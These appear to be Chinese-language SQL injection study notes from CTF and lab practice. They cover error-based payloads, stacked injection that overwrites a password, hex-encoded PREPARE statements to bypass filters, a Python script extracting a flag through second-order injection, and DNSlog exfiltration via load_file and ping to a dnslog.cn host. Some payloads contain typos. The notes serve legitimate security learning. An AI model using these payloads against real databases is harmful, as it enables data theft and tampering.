11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
2.查询方式
部分不需要进行数据的取出和显示的,所以此类注入基本上需要采用盲注的才能得到结果
查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)
查询
select
插入
发表留言,会员注册,用户注册等
INSERT INTO 表名称 VALUES (值1, 值2,…)
例:
INSERT INTO Persons VALUES (‘Gates’, ‘Bill’, ‘Xuanwumen 10’, ‘Beijing’)
从语句来看insert需要闭合单引号
更新
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
例:
为 lastname 是 “Wilson” 的人添加 firstname:
UPDATE Person SET FirstName = ‘Fred’ WHERE LastName = ‘Wilson’
删除
DELETE FROM Person WHERE LastName = ‘Wilson’
8二次——堆叠——DNS外带
1数据库堆叠注入
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句
堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的信息。
注入条件
- 目标存在sql注入漏洞 2. 目标未对";"号进行过滤 3. 目标中间层查询数据库信息时可同时执行多条sql语句
实例1
sql_labs less38输入
?id=1'
,报错
通过翻译发现是sql语句语法错误,最常见的是sql语句少加逗号,然后是引号写错了或者字打错了。可以判断是因为引号错误。
接着输入?id=1' or '1'='1
发现有结果,页面正确
输入:?id=1' union select 1,2,3;update users set password=123 where id=1--+
进行堆叠注入
从图中查看password已经被改掉了
实例2
';show database;
';show tables;
1919810931114514
';show columns from `1919810931114514`;
得到flag所在地址
输入';select flag from `1919810931114514`;发现报错过滤select
输入
1';Set @a = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;#
73656C65637420666C61672066726F6D20603139313938313039333131313435313460为select flag from `1919810931114514`的十六进制编码
预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
SET @x=SQL语句;
PREPARE 名称 FROM @x ;
EXECUTE 名称;
举例:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
2数据库二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
过程
(1) 先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
(4)二次注入更加难以被发现
实例
这是一个登录界面,猜测有注册界面register.php
存在注册界面
接下来在网站进行注册
使用注册的邮箱进行登录
通过这一流程,发现该网址符合二次注入
流程:
注册用户:添加操作
insert into user(email,username,password) value('12345678910@qq.com','123','123')
登录:查询
进入用户中心:有个人用户名
select username from user where email='12345678910@qq.com'
通过脚本来获取flag值
import requests
import time
from bs4 import BeautifulSoup
def get_flag():
flag = ''
url = 'http://f7d6caf2-1737-4bd1-bba4-2f7bdfd8a087.node4.buuoj.cn:81/'
register_url = url + 'register.php'
login_url = url + 'login.php'
for i in range(1, 100):
time.sleep(0.5)
register_data = {"email": "{}@1.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
login_data = {"email": "{}@1.com".format(i), "password": "1"}
requests.post(register_url, data=register_data)
response_login = requests.post(login_url, data=login_data)
bs = BeautifulSoup(response_login.text, 'html.parser')
username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性
number = username.text
flag += chr(int(number))
print("\r", end="")
print(flag,end="")
if __name__ == '__main__':
get_flag()
flag{7854487d-7551-463c-93bf-f0aa9993a307}
3数据库Dnslog注入
在尝试完其他注入后都没有成功,或者是在做盲注时碰到狗以及嫌盲注太费时间,可以在之前的测试基础下(即知道存在注入,判断出字段数),使用load_file()配合concat():concat将数据库查询语句和域名拼接起来,让load_file()去读取文件的同时,我们可以到dns解析平台查看解析过程。
注入条件
1.无回显
2.不能用盲注,即使能使用盲注,存在被ban的风险高且效率低
3.数据库配置能使用load_file函数可以发送请求
load_file()的作用:
使用场景
不回线,反向连接,SQL注入,命令执行,SSRF
实例
http://www.dnslog.cn/
https://sso.telnet404.com/
SQL注入:
select load_file(concat(‘//’,database(),‘.dns地址/输出的文件名’)
命令执行:
ping %USERNAME% kd5x9d.dnslog.cn